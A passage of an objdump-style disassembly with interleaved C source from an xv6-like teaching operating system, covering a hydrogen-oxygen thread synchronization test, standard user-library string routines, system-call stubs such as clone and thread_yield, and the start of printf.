19d9: e8 35 0a 00 00 call 2413 <thread_create>
19de: a3 88 2c 00 00 mov %eax,0x2c88
if(tid <= 0){
19e3: a1 88 2c 00 00 mov 0x2c88,%eax
19e8: 85 c0 test %eax,%eax
19ea: 75 33 jne 1a1f <main+0x7ee>
sem_acquire(p);
19ec: a1 70 2c 00 00 mov 0x2c70,%eax
19f1: 89 04 24 mov %eax,(%esp)
19f4: e8 51 f7 ff ff call 114a <sem_acquire>
printf(1, "Failed to create a thread\n");
19f9: c7 44 24 04 65 26 00 movl $0x2665,0x4(%esp)
1a00: 00
1a01: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a08: e8 d3 05 00 00 call 1fe0 <printf>
sem_signal(p);
1a0d: a1 70 2c 00 00 mov 0x2c70,%eax
1a12: 89 04 24 mov %eax,(%esp)
1a15: e8 af f7 ff ff call 11c9 <sem_signal>
exit();
1a1a: e8 19 04 00 00 call 1e38 <exit>
}
for(i = 0; i < 999999; i++);
1a1f: c7 05 84 2c 00 00 00 movl $0x0,0x2c84
1a26: 00 00 00
1a29: eb 0d jmp 1a38 <main+0x807>
1a2b: a1 84 2c 00 00 mov 0x2c84,%eax
1a30: 83 c0 01 add $0x1,%eax
1a33: a3 84 2c 00 00 mov %eax,0x2c84
1a38: a1 84 2c 00 00 mov 0x2c84,%eax
1a3d: 3d 3e 42 0f 00 cmp $0xf423e,%eax
1a42: 7e e7 jle 1a2b <main+0x7fa>
printf(1, "\nTest 4: 20 Hydrogen, 10 Oxygen (Thread creation order: H->H->O): \n");
sem_signal(p);
sem_init(h, 2);
sem_init(o, 1);
for(water = 0; water < 10; water++){
1a44: a1 80 2c 00 00 mov 0x2c80,%eax
1a49: 83 c0 01 add $0x1,%eax
1a4c: a3 80 2c 00 00 mov %eax,0x2c80
1a51: a1 80 2c 00 00 mov 0x2c80,%eax
1a56: 83 f8 09 cmp $0x9,%eax
1a59: 0f 8e 77 fe ff ff jle 18d6 <main+0x6a5>
sem_signal(p);
exit();
}
for(i = 0; i < 999999; i++);
}
while(wait()>= 0);
1a5f: 90 nop
1a60: e8 db 03 00 00 call 1e40 <wait>
1a65: 85 c0 test %eax,%eax
1a67: 79 f7 jns 1a60 <main+0x82f>
exit();
1a69: e8 ca 03 00 00 call 1e38 <exit>
00001a6e <hReady>:
return 0;
}
//Hydrogen
void hReady(){
1a6e: 55 push %ebp
1a6f: 89 e5 mov %esp,%ebp
1a71: 83 ec 18 sub $0x18,%esp
sem_acquire(p);
1a74: a1 70 2c 00 00 mov 0x2c70,%eax
1a79: 89 04 24 mov %eax,(%esp)
1a7c: e8 c9 f6 ff ff call 114a <sem_acquire>
printf(1, "Hydrogen ready\n");
1a81: c7 44 24 04 4c 27 00 movl $0x274c,0x4(%esp)
1a88: 00
1a89: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1a90: e8 4b 05 00 00 call 1fe0 <printf>
sem_signal(p);
1a95: a1 70 2c 00 00 mov 0x2c70,%eax
1a9a: 89 04 24 mov %eax,(%esp)
1a9d: e8 27 f7 ff ff call 11c9 <sem_signal>
sem_acquire(h);
1aa2: a1 68 2c 00 00 mov 0x2c68,%eax
1aa7: 89 04 24 mov %eax,(%esp)
1aaa: e8 9b f6 ff ff call 114a <sem_acquire>
if(h->count == 0 && o->count == 0){
1aaf: a1 68 2c 00 00 mov 0x2c68,%eax
1ab4: 8b 00 mov (%eax),%eax
1ab6: 85 c0 test %eax,%eax
1ab8: 75 60 jne 1b1a <hReady+0xac>
1aba: a1 6c 2c 00 00 mov 0x2c6c,%eax
1abf: 8b 00 mov (%eax),%eax
1ac1: 85 c0 test %eax,%eax
1ac3: 75 55 jne 1b1a <hReady+0xac>
sem_acquire(p);
1ac5: a1 70 2c 00 00 mov 0x2c70,%eax
1aca: 89 04 24 mov %eax,(%esp)
1acd: e8 78 f6 ff ff call 114a <sem_acquire>
printf(1, "*Water created*\n");
1ad2: c7 44 24 04 5c 27 00 movl $0x275c,0x4(%esp)
1ad9: 00
1ada: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1ae1: e8 fa 04 00 00 call 1fe0 <printf>
sem_signal(p);
1ae6: a1 70 2c 00 00 mov 0x2c70,%eax
1aeb: 89 04 24 mov %eax,(%esp)
1aee: e8 d6 f6 ff ff call 11c9 <sem_signal>
sem_signal(h);
1af3: a1 68 2c 00 00 mov 0x2c68,%eax
1af8: 89 04 24 mov %eax,(%esp)
1afb: e8 c9 f6 ff ff call 11c9 <sem_signal>
sem_signal(h);
1b00: a1 68 2c 00 00 mov 0x2c68,%eax
1b05: 89 04 24 mov %eax,(%esp)
1b08: e8 bc f6 ff ff call 11c9 <sem_signal>
sem_signal(o);
1b0d: a1 6c 2c 00 00 mov 0x2c6c,%eax
1b12: 89 04 24 mov %eax,(%esp)
1b15: e8 af f6 ff ff call 11c9 <sem_signal>
}
texit();
1b1a: e8 c1 03 00 00 call 1ee0 <texit>
00001b1f <oReady>:
}
//Oxygen
void oReady(){
1b1f: 55 push %ebp
1b20: 89 e5 mov %esp,%ebp
1b22: 83 ec 18 sub $0x18,%esp
sem_acquire(p);
1b25: a1 70 2c 00 00 mov 0x2c70,%eax
1b2a: 89 04 24 mov %eax,(%esp)
1b2d: e8 18 f6 ff ff call 114a <sem_acquire>
printf(1, "Oxygen ready\n");
1b32: c7 44 24 04 6d 27 00 movl $0x276d,0x4(%esp)
1b39: 00
1b3a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b41: e8 9a 04 00 00 call 1fe0 <printf>
sem_signal(p);
1b46: a1 70 2c 00 00 mov 0x2c70,%eax
1b4b: 89 04 24 mov %eax,(%esp)
1b4e: e8 76 f6 ff ff call 11c9 <sem_signal>
sem_acquire(o);
1b53: a1 6c 2c 00 00 mov 0x2c6c,%eax
1b58: 89 04 24 mov %eax,(%esp)
1b5b: e8 ea f5 ff ff call 114a <sem_acquire>
if(h->count == 0 && o->count == 0){
1b60: a1 68 2c 00 00 mov 0x2c68,%eax
1b65: 8b 00 mov (%eax),%eax
1b67: 85 c0 test %eax,%eax
1b69: 75 60 jne 1bcb <oReady+0xac>
1b6b: a1 6c 2c 00 00 mov 0x2c6c,%eax
1b70: 8b 00 mov (%eax),%eax
1b72: 85 c0 test %eax,%eax
1b74: 75 55 jne 1bcb <oReady+0xac>
sem_acquire(p);
1b76: a1 70 2c 00 00 mov 0x2c70,%eax
1b7b: 89 04 24 mov %eax,(%esp)
1b7e: e8 c7 f5 ff ff call 114a <sem_acquire>
printf(1, "*Water created*\n");
1b83: c7 44 24 04 5c 27 00 movl $0x275c,0x4(%esp)
1b8a: 00
1b8b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b92: e8 49 04 00 00 call 1fe0 <printf>
sem_signal(p);
1b97: a1 70 2c 00 00 mov 0x2c70,%eax
1b9c: 89 04 24 mov %eax,(%esp)
1b9f: e8 25 f6 ff ff call 11c9 <sem_signal>
sem_signal(h);
1ba4: a1 68 2c 00 00 mov 0x2c68,%eax
1ba9: 89 04 24 mov %eax,(%esp)
1bac: e8 18 f6 ff ff call 11c9 <sem_signal>
sem_signal(h);
1bb1: a1 68 2c 00 00 mov 0x2c68,%eax
1bb6: 89 04 24 mov %eax,(%esp)
1bb9: e8 0b f6 ff ff call 11c9 <sem_signal>
sem_signal(o);
1bbe: a1 6c 2c 00 00 mov 0x2c6c,%eax
1bc3: 89 04 24 mov %eax,(%esp)
1bc6: e8 fe f5 ff ff call 11c9 <sem_signal>
}
texit();
1bcb: e8 10 03 00 00 call 1ee0 <texit>
00001bd0 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
1bd0: 55 push %ebp
1bd1: 89 e5 mov %esp,%ebp
1bd3: 57 push %edi
1bd4: 53 push %ebx
asm volatile("cld; rep stosb" :
1bd5: 8b 4d 08 mov 0x8(%ebp),%ecx
1bd8: 8b 55 10 mov 0x10(%ebp),%edx
1bdb: 8b 45 0c mov 0xc(%ebp),%eax
1bde: 89 cb mov %ecx,%ebx
1be0: 89 df mov %ebx,%edi
1be2: 89 d1 mov %edx,%ecx
1be4: fc cld
1be5: f3 aa rep stos %al,%es:(%edi)
1be7: 89 ca mov %ecx,%edx
1be9: 89 fb mov %edi,%ebx
1beb: 89 5d 08 mov %ebx,0x8(%ebp)
1bee: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
1bf1: 5b pop %ebx
1bf2: 5f pop %edi
1bf3: 5d pop %ebp
1bf4: c3 ret
00001bf5 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
1bf5: 55 push %ebp
1bf6: 89 e5 mov %esp,%ebp
1bf8: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
1bfb: 8b 45 08 mov 0x8(%ebp),%eax
1bfe: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
1c01: 90 nop
1c02: 8b 45 08 mov 0x8(%ebp),%eax
1c05: 8d 50 01 lea 0x1(%eax),%edx
1c08: 89 55 08 mov %edx,0x8(%ebp)
1c0b: 8b 55 0c mov 0xc(%ebp),%edx
1c0e: 8d 4a 01 lea 0x1(%edx),%ecx
1c11: 89 4d 0c mov %ecx,0xc(%ebp)
1c14: 0f b6 12 movzbl (%edx),%edx
1c17: 88 10 mov %dl,(%eax)
1c19: 0f b6 00 movzbl (%eax),%eax
1c1c: 84 c0 test %al,%al
1c1e: 75 e2 jne 1c02 <strcpy+0xd>
;
return os;
1c20: 8b 45 fc mov -0x4(%ebp),%eax
}
1c23: c9 leave
1c24: c3 ret
00001c25 <strcmp>:
int
strcmp(const char *p, const char *q)
{
1c25: 55 push %ebp
1c26: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
1c28: eb 08 jmp 1c32 <strcmp+0xd>
p++, q++;
1c2a: 83 45 08 01 addl $0x1,0x8(%ebp)
1c2e: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
1c32: 8b 45 08 mov 0x8(%ebp),%eax
1c35: 0f b6 00 movzbl (%eax),%eax
1c38: 84 c0 test %al,%al
1c3a: 74 10 je 1c4c <strcmp+0x27>
1c3c: 8b 45 08 mov 0x8(%ebp),%eax
1c3f: 0f b6 10 movzbl (%eax),%edx
1c42: 8b 45 0c mov 0xc(%ebp),%eax
1c45: 0f b6 00 movzbl (%eax),%eax
1c48: 38 c2 cmp %al,%dl
1c4a: 74 de je 1c2a <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
1c4c: 8b 45 08 mov 0x8(%ebp),%eax
1c4f: 0f b6 00 movzbl (%eax),%eax
1c52: 0f b6 d0 movzbl %al,%edx
1c55: 8b 45 0c mov 0xc(%ebp),%eax
1c58: 0f b6 00 movzbl (%eax),%eax
1c5b: 0f b6 c0 movzbl %al,%eax
1c5e: 29 c2 sub %eax,%edx
1c60: 89 d0 mov %edx,%eax
}
1c62: 5d pop %ebp
1c63: c3 ret
00001c64 <strlen>:
uint
strlen(char *s)
{
1c64: 55 push %ebp
1c65: 89 e5 mov %esp,%ebp
1c67: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1c6a: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1c71: eb 04 jmp 1c77 <strlen+0x13>
1c73: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1c77: 8b 55 fc mov -0x4(%ebp),%edx
1c7a: 8b 45 08 mov 0x8(%ebp),%eax
1c7d: 01 d0 add %edx,%eax
1c7f: 0f b6 00 movzbl (%eax),%eax
1c82: 84 c0 test %al,%al
1c84: 75 ed jne 1c73 <strlen+0xf>
;
return n;
1c86: 8b 45 fc mov -0x4(%ebp),%eax
}
1c89: c9 leave
1c8a: c3 ret
00001c8b <memset>:
void*
memset(void *dst, int c, uint n)
{
1c8b: 55 push %ebp
1c8c: 89 e5 mov %esp,%ebp
1c8e: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
1c91: 8b 45 10 mov 0x10(%ebp),%eax
1c94: 89 44 24 08 mov %eax,0x8(%esp)
1c98: 8b 45 0c mov 0xc(%ebp),%eax
1c9b: 89 44 24 04 mov %eax,0x4(%esp)
1c9f: 8b 45 08 mov 0x8(%ebp),%eax
1ca2: 89 04 24 mov %eax,(%esp)
1ca5: e8 26 ff ff ff call 1bd0 <stosb>
return dst;
1caa: 8b 45 08 mov 0x8(%ebp),%eax
}
1cad: c9 leave
1cae: c3 ret
00001caf <strchr>:
char*
strchr(const char *s, char c)
{
1caf: 55 push %ebp
1cb0: 89 e5 mov %esp,%ebp
1cb2: 83 ec 04 sub $0x4,%esp
1cb5: 8b 45 0c mov 0xc(%ebp),%eax
1cb8: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
1cbb: eb 14 jmp 1cd1 <strchr+0x22>
if(*s == c)
1cbd: 8b 45 08 mov 0x8(%ebp),%eax
1cc0: 0f b6 00 movzbl (%eax),%eax
1cc3: 3a 45 fc cmp -0x4(%ebp),%al
1cc6: 75 05 jne 1ccd <strchr+0x1e>
return (char*)s;
1cc8: 8b 45 08 mov 0x8(%ebp),%eax
1ccb: eb 13 jmp 1ce0 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
1ccd: 83 45 08 01 addl $0x1,0x8(%ebp)
1cd1: 8b 45 08 mov 0x8(%ebp),%eax
1cd4: 0f b6 00 movzbl (%eax),%eax
1cd7: 84 c0 test %al,%al
1cd9: 75 e2 jne 1cbd <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
1cdb: b8 00 00 00 00 mov $0x0,%eax
}
1ce0: c9 leave
1ce1: c3 ret
00001ce2 <gets>:
char*
gets(char *buf, int max)
{
1ce2: 55 push %ebp
1ce3: 89 e5 mov %esp,%ebp
1ce5: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
1ce8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1cef: eb 4c jmp 1d3d <gets+0x5b>
cc = read(0, &c, 1);
1cf1: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1cf8: 00
1cf9: 8d 45 ef lea -0x11(%ebp),%eax
1cfc: 89 44 24 04 mov %eax,0x4(%esp)
1d00: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1d07: e8 44 01 00 00 call 1e50 <read>
1d0c: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1d0f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1d13: 7f 02 jg 1d17 <gets+0x35>
break;
1d15: eb 31 jmp 1d48 <gets+0x66>
buf[i++] = c;
1d17: 8b 45 f4 mov -0xc(%ebp),%eax
1d1a: 8d 50 01 lea 0x1(%eax),%edx
1d1d: 89 55 f4 mov %edx,-0xc(%ebp)
1d20: 89 c2 mov %eax,%edx
1d22: 8b 45 08 mov 0x8(%ebp),%eax
1d25: 01 c2 add %eax,%edx
1d27: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d2b: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1d2d: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d31: 3c 0a cmp $0xa,%al
1d33: 74 13 je 1d48 <gets+0x66>
1d35: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d39: 3c 0d cmp $0xd,%al
1d3b: 74 0b je 1d48 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1d3d: 8b 45 f4 mov -0xc(%ebp),%eax
1d40: 83 c0 01 add $0x1,%eax
1d43: 3b 45 0c cmp 0xc(%ebp),%eax
1d46: 7c a9 jl 1cf1 <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1d48: 8b 55 f4 mov -0xc(%ebp),%edx
1d4b: 8b 45 08 mov 0x8(%ebp),%eax
1d4e: 01 d0 add %edx,%eax
1d50: c6 00 00 movb $0x0,(%eax)
return buf;
1d53: 8b 45 08 mov 0x8(%ebp),%eax
}
1d56: c9 leave
1d57: c3 ret
00001d58 <stat>:
int
stat(char *n, struct stat *st)
{
1d58: 55 push %ebp
1d59: 89 e5 mov %esp,%ebp
1d5b: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1d5e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1d65: 00
1d66: 8b 45 08 mov 0x8(%ebp),%eax
1d69: 89 04 24 mov %eax,(%esp)
1d6c: e8 07 01 00 00 call 1e78 <open>
1d71: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
1d74: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1d78: 79 07 jns 1d81 <stat+0x29>
return -1;
1d7a: b8 ff ff ff ff mov $0xffffffff,%eax
1d7f: eb 23 jmp 1da4 <stat+0x4c>
r = fstat(fd, st);
1d81: 8b 45 0c mov 0xc(%ebp),%eax
1d84: 89 44 24 04 mov %eax,0x4(%esp)
1d88: 8b 45 f4 mov -0xc(%ebp),%eax
1d8b: 89 04 24 mov %eax,(%esp)
1d8e: e8 fd 00 00 00 call 1e90 <fstat>
1d93: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
1d96: 8b 45 f4 mov -0xc(%ebp),%eax
1d99: 89 04 24 mov %eax,(%esp)
1d9c: e8 bf 00 00 00 call 1e60 <close>
return r;
1da1: 8b 45 f0 mov -0x10(%ebp),%eax
}
1da4: c9 leave
1da5: c3 ret
00001da6 <atoi>:
int
atoi(const char *s)
{
1da6: 55 push %ebp
1da7: 89 e5 mov %esp,%ebp
1da9: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
1dac: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
1db3: eb 25 jmp 1dda <atoi+0x34>
n = n*10 + *s++ - '0';
1db5: 8b 55 fc mov -0x4(%ebp),%edx
1db8: 89 d0 mov %edx,%eax
1dba: c1 e0 02 shl $0x2,%eax
1dbd: 01 d0 add %edx,%eax
1dbf: 01 c0 add %eax,%eax
1dc1: 89 c1 mov %eax,%ecx
1dc3: 8b 45 08 mov 0x8(%ebp),%eax
1dc6: 8d 50 01 lea 0x1(%eax),%edx
1dc9: 89 55 08 mov %edx,0x8(%ebp)
1dcc: 0f b6 00 movzbl (%eax),%eax
1dcf: 0f be c0 movsbl %al,%eax
1dd2: 01 c8 add %ecx,%eax
1dd4: 83 e8 30 sub $0x30,%eax
1dd7: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
1dda: 8b 45 08 mov 0x8(%ebp),%eax
1ddd: 0f b6 00 movzbl (%eax),%eax
1de0: 3c 2f cmp $0x2f,%al
1de2: 7e 0a jle 1dee <atoi+0x48>
1de4: 8b 45 08 mov 0x8(%ebp),%eax
1de7: 0f b6 00 movzbl (%eax),%eax
1dea: 3c 39 cmp $0x39,%al
1dec: 7e c7 jle 1db5 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
1dee: 8b 45 fc mov -0x4(%ebp),%eax
}
1df1: c9 leave
1df2: c3 ret
00001df3 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
1df3: 55 push %ebp
1df4: 89 e5 mov %esp,%ebp
1df6: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
1df9: 8b 45 08 mov 0x8(%ebp),%eax
1dfc: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
1dff: 8b 45 0c mov 0xc(%ebp),%eax
1e02: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
1e05: eb 17 jmp 1e1e <memmove+0x2b>
*dst++ = *src++;
1e07: 8b 45 fc mov -0x4(%ebp),%eax
1e0a: 8d 50 01 lea 0x1(%eax),%edx
1e0d: 89 55 fc mov %edx,-0x4(%ebp)
1e10: 8b 55 f8 mov -0x8(%ebp),%edx
1e13: 8d 4a 01 lea 0x1(%edx),%ecx
1e16: 89 4d f8 mov %ecx,-0x8(%ebp)
1e19: 0f b6 12 movzbl (%edx),%edx
1e1c: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
1e1e: 8b 45 10 mov 0x10(%ebp),%eax
1e21: 8d 50 ff lea -0x1(%eax),%edx
1e24: 89 55 10 mov %edx,0x10(%ebp)
1e27: 85 c0 test %eax,%eax
1e29: 7f dc jg 1e07 <memmove+0x14>
*dst++ = *src++;
return vdst;
1e2b: 8b 45 08 mov 0x8(%ebp),%eax
}
1e2e: c9 leave
1e2f: c3 ret
00001e30 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
1e30: b8 01 00 00 00 mov $0x1,%eax
1e35: cd 40 int $0x40
1e37: c3 ret
00001e38 <exit>:
SYSCALL(exit)
1e38: b8 02 00 00 00 mov $0x2,%eax
1e3d: cd 40 int $0x40
1e3f: c3 ret
00001e40 <wait>:
SYSCALL(wait)
1e40: b8 03 00 00 00 mov $0x3,%eax
1e45: cd 40 int $0x40
1e47: c3 ret
00001e48 <pipe>:
SYSCALL(pipe)
1e48: b8 04 00 00 00 mov $0x4,%eax
1e4d: cd 40 int $0x40
1e4f: c3 ret
00001e50 <read>:
SYSCALL(read)
1e50: b8 05 00 00 00 mov $0x5,%eax
1e55: cd 40 int $0x40
1e57: c3 ret
00001e58 <write>:
SYSCALL(write)
1e58: b8 10 00 00 00 mov $0x10,%eax
1e5d: cd 40 int $0x40
1e5f: c3 ret
00001e60 <close>:
SYSCALL(close)
1e60: b8 15 00 00 00 mov $0x15,%eax
1e65: cd 40 int $0x40
1e67: c3 ret
00001e68 <kill>:
SYSCALL(kill)
1e68: b8 06 00 00 00 mov $0x6,%eax
1e6d: cd 40 int $0x40
1e6f: c3 ret
00001e70 <exec>:
SYSCALL(exec)
1e70: b8 07 00 00 00 mov $0x7,%eax
1e75: cd 40 int $0x40
1e77: c3 ret
00001e78 <open>:
SYSCALL(open)
1e78: b8 0f 00 00 00 mov $0xf,%eax
1e7d: cd 40 int $0x40
1e7f: c3 ret
00001e80 <mknod>:
SYSCALL(mknod)
1e80: b8 11 00 00 00 mov $0x11,%eax
1e85: cd 40 int $0x40
1e87: c3 ret
00001e88 <unlink>:
SYSCALL(unlink)
1e88: b8 12 00 00 00 mov $0x12,%eax
1e8d: cd 40 int $0x40
1e8f: c3 ret
00001e90 <fstat>:
SYSCALL(fstat)
1e90: b8 08 00 00 00 mov $0x8,%eax
1e95: cd 40 int $0x40
1e97: c3 ret
00001e98 <link>:
SYSCALL(link)
1e98: b8 13 00 00 00 mov $0x13,%eax
1e9d: cd 40 int $0x40
1e9f: c3 ret
00001ea0 <mkdir>:
SYSCALL(mkdir)
1ea0: b8 14 00 00 00 mov $0x14,%eax
1ea5: cd 40 int $0x40
1ea7: c3 ret
00001ea8 <chdir>:
SYSCALL(chdir)
1ea8: b8 09 00 00 00 mov $0x9,%eax
1ead: cd 40 int $0x40
1eaf: c3 ret
00001eb0 <dup>:
SYSCALL(dup)
1eb0: b8 0a 00 00 00 mov $0xa,%eax
1eb5: cd 40 int $0x40
1eb7: c3 ret
00001eb8 <getpid>:
SYSCALL(getpid)
1eb8: b8 0b 00 00 00 mov $0xb,%eax
1ebd: cd 40 int $0x40
1ebf: c3 ret
00001ec0 <sbrk>:
SYSCALL(sbrk)
1ec0: b8 0c 00 00 00 mov $0xc,%eax
1ec5: cd 40 int $0x40
1ec7: c3 ret
00001ec8 <sleep>:
SYSCALL(sleep)
1ec8: b8 0d 00 00 00 mov $0xd,%eax
1ecd: cd 40 int $0x40
1ecf: c3 ret
00001ed0 <uptime>:
SYSCALL(uptime)
1ed0: b8 0e 00 00 00 mov $0xe,%eax
1ed5: cd 40 int $0x40
1ed7: c3 ret
00001ed8 <clone>:
SYSCALL(clone)
1ed8: b8 16 00 00 00 mov $0x16,%eax
1edd: cd 40 int $0x40
1edf: c3 ret
00001ee0 <texit>:
SYSCALL(texit)
1ee0: b8 17 00 00 00 mov $0x17,%eax
1ee5: cd 40 int $0x40
1ee7: c3 ret
00001ee8 <tsleep>:
SYSCALL(tsleep)
1ee8: b8 18 00 00 00 mov $0x18,%eax
1eed: cd 40 int $0x40
1eef: c3 ret
00001ef0 <twakeup>:
SYSCALL(twakeup)
1ef0: b8 19 00 00 00 mov $0x19,%eax
1ef5: cd 40 int $0x40
1ef7: c3 ret
00001ef8 <thread_yield>:
SYSCALL(thread_yield)
1ef8: b8 1a 00 00 00 mov $0x1a,%eax
1efd: cd 40 int $0x40
1eff: c3 ret
00001f00 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
1f00: 55 push %ebp
1f01: 89 e5 mov %esp,%ebp
1f03: 83 ec 18 sub $0x18,%esp
1f06: 8b 45 0c mov 0xc(%ebp),%eax
1f09: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
1f0c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1f13: 00
1f14: 8d 45 f4 lea -0xc(%ebp),%eax
1f17: 89 44 24 04 mov %eax,0x4(%esp)
1f1b: 8b 45 08 mov 0x8(%ebp),%eax
1f1e: 89 04 24 mov %eax,(%esp)
1f21: e8 32 ff ff ff call 1e58 <write>
}
1f26: c9 leave
1f27: c3 ret
00001f28 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
1f28: 55 push %ebp
1f29: 89 e5 mov %esp,%ebp
1f2b: 56 push %esi
1f2c: 53 push %ebx
1f2d: 83 ec 30 sub $0x30,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
1f30: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
1f37: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
1f3b: 74 17 je 1f54 <printint+0x2c>
1f3d: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
1f41: 79 11 jns 1f54 <printint+0x2c>
neg = 1;
1f43: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
1f4a: 8b 45 0c mov 0xc(%ebp),%eax
1f4d: f7 d8 neg %eax
1f4f: 89 45 ec mov %eax,-0x14(%ebp)
1f52: eb 06 jmp 1f5a <printint+0x32>
} else {
x = xx;
1f54: 8b 45 0c mov 0xc(%ebp),%eax
1f57: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
1f5a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
1f61: 8b 4d f4 mov -0xc(%ebp),%ecx
1f64: 8d 41 01 lea 0x1(%ecx),%eax
1f67: 89 45 f4 mov %eax,-0xc(%ebp)
1f6a: 8b 5d 10 mov 0x10(%ebp),%ebx
1f6d: 8b 45 ec mov -0x14(%ebp),%eax
1f70: ba 00 00 00 00 mov $0x0,%edx
1f75: f7 f3 div %ebx
1f77: 89 d0 mov %edx,%eax
1f79: 0f b6 80 50 2c 00 00 movzbl 0x2c50(%eax),%eax
1f80: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
1f84: 8b 75 10 mov 0x10(%ebp),%esi
1f87: 8b 45 ec mov -0x14(%ebp),%eax
1f8a: ba 00 00 00 00 mov $0x0,%edx
1f8f: f7 f6 div %esi
1f91: 89 45 ec mov %eax,-0x14(%ebp)
1f94: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1f98: 75 c7 jne 1f61 <printint+0x39>
if(neg)
1f9a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1f9e: 74 10 je 1fb0 <printint+0x88>
buf[i++] = '-';
1fa0: 8b 45 f4 mov -0xc(%ebp),%eax
1fa3: 8d 50 01 lea 0x1(%eax),%edx
1fa6: 89 55 f4 mov %edx,-0xc(%ebp)
1fa9: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
1fae: eb 1f jmp 1fcf <printint+0xa7>
1fb0: eb 1d jmp 1fcf <printint+0xa7>
putc(fd, buf[i]);
1fb2: 8d 55 dc lea -0x24(%ebp),%edx
1fb5: 8b 45 f4 mov -0xc(%ebp),%eax
1fb8: 01 d0 add %edx,%eax
1fba: 0f b6 00 movzbl (%eax),%eax
1fbd: 0f be c0 movsbl %al,%eax
1fc0: 89 44 24 04 mov %eax,0x4(%esp)
1fc4: 8b 45 08 mov 0x8(%ebp),%eax
1fc7: 89 04 24 mov %eax,(%esp)
1fca: e8 31 ff ff ff call 1f00 <putc>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
1fcf: 83 6d f4 01 subl $0x1,-0xc(%ebp)
1fd3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1fd7: 79 d9 jns 1fb2 <printint+0x8a>
putc(fd, buf[i]);
}
1fd9: 83 c4 30 add $0x30,%esp
1fdc: 5b pop %ebx
1fdd: 5e pop %esi
1fde: 5d pop %ebp
1fdf: c3 ret
00001fe0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
1fe0: 55 push %ebp
1fe1: 89 e5 mov %esp,%ebp
1fe3: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
1fe6: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
1fed: 8d 45 0c lea 0xc(%ebp),%eax
1ff0: 83 c0 04 add $0x4,%eax
